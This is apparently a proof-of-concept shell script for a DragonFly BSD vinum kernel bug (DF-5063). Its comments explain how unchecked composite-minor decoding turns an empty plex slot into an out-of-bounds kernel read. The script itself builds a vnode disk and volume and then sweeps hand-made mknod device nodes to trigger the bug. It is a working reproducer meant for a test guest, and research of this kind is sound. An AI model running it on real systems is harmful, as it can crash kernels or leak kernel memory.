DF-5063 / df5063_sdcomp.sh
#!/bin/sh # DF-5063 — vinum Plexno()/Sdno() composite-minor decode walks the tables # with no bounds checks and propagates the -1 "empty slot" sentinel: # # Sdno() VINUM_SD_TYPE: PLEX[Plexno(dev)].sdnos[minor>>20 & 0xff] # Plexno() VINUM_PLEX_TYPE: VOL[Volno(dev)].plex[minor>>16 & 7] # # vol->plex[i] is initialised to -1 for every empty slot (get_empty_volume, # vinumconfig.c:896-897). A VINUM_SD_TYPE minor whose plex ordinal addresses # an empty slot makes Plexno() return -1, and Sdno() then READS # PLEX[-1].sdnos[ordinal] — a heap out-of-bounds read of up to ~1 KB before # the plex[] array; the garbage int is then used as an index into SD[]. # # The kernel never creates composite-minor nodes itself (only rawplex/rawsd # and volume nodes), so this path needs a hand-made node (mknod, root). # Baseline proof of reachability: plex ordinal 0 (a REAL slot) opens and # reads fine through the same composite decode. # # Run as root on the DragonFly guest after pushing: label.bin, this script. set -x date uname -a export PATH=/sbin:/bin:/usr/sbin:/usr/bin kldload vinum sleep 1 # ---- vn0 vnode disk + vinum-typed 'a' partition ---- dd if=/dev/zero of=/tmp/disk.img bs=1m count=32 vnconfig -c vn0 /tmp/disk.img dd if=/tmp/label.bin of=/dev/vn0 bs=512 seek=1 conv=notrunc sleep 1 ls /dev/vn0s0a # v0 with plex p0 and subdisks s0..s1 (plex ordinal 0 occupied; 1..7 empty) printf 'drive d1 device /dev/vn0s0a\n' > /tmp/df5063_c1 printf 'volume v0\nplex name p0 org concat\nsd name s0 drive d1 len 2m\nsd name s1 drive d1 len 2m\n' > /tmp/df5063_c2 vinum create -f /tmp/df5063_c1 sleep 2 vinum create -f /tmp/df5063_c2 sleep 3 vinum start v0 sleep 2 vinum l | head -12 ls -l /dev/vinum/sd/s0 /dev/vinum/sd/s1 /dev/vinum/vol/v0 # ---- vinum cdev major from the volume node ------------------------------ ls -l /dev/vinum/vol/v0 MAJOR=$(ls -l /dev/vinum/vol/v0 | awk '{print $5}' | tr -d ',') echo "vinum cdev major: $MAJOR" # marker on sd s0 so a successful composite read is identifiable printf 'SD-S0-DATA' | dd of=/dev/vinum/sd/s0 bs=512 seek=0 conv=notrunc 2>/dev/null # ---- sweep: composite VINUM_SD_TYPE nodes, volno 0, plex ord 0..7 ---- # minor = (2<<28) | (pord<<16) | (sord<<20) | 0 p=0 while [ $p -le 7 ]; do s=0 while [ $s -le 1 ]; do M=$(( (2 << 28) | (p << 16) | (s << 20) )) rm -f /tmp/sdc_${p}_${s} mknod /tmp/sdc_${p}_${s} c $MAJOR $M echo "==== SD composite pord=$p sord=$s minor=$(printf 0x%x $M) ====" dd if=/tmp/sdc_${p}_${s} bs=512 count=1 2>/tmp/dderr_${p}_${s} | tr -d '\0' | head -c 24; echo " rc=$?" head -1 /tmp/dderr_${p}_${s} sleep 1 s=$((s+1)) done p=$((p+1)) done # ---- composite VINUM_PLEX_TYPE nodes (Plexno only; vol->plex[-1] read) ---- p=0 while [ $p -le 2 ]; do M=$(( (1 << 28) | (p << 16) )) rm -f /tmp/pxc_${p} mknod /tmp/pxc_${p} c $MAJOR $M echo "==== PLEX composite pord=$p minor=$(printf 0x%x $M) ====" dd if=/tmp/pxc_${p} bs=512 count=1 2>/tmp/pdderr_${p} | tr -d '\0' | head -c 24; echo " rc=$?" head -1 /tmp/pdderr_${p} sleep 1 p=$((p+1)) done rm -f /tmp/sdc_* /tmp/pxc_* /tmp/dderr_* /tmp/pdderr_* echo '==== guest survived; dmesg tail ====' dmesg | tail -8 date echo DONE_DF5063 |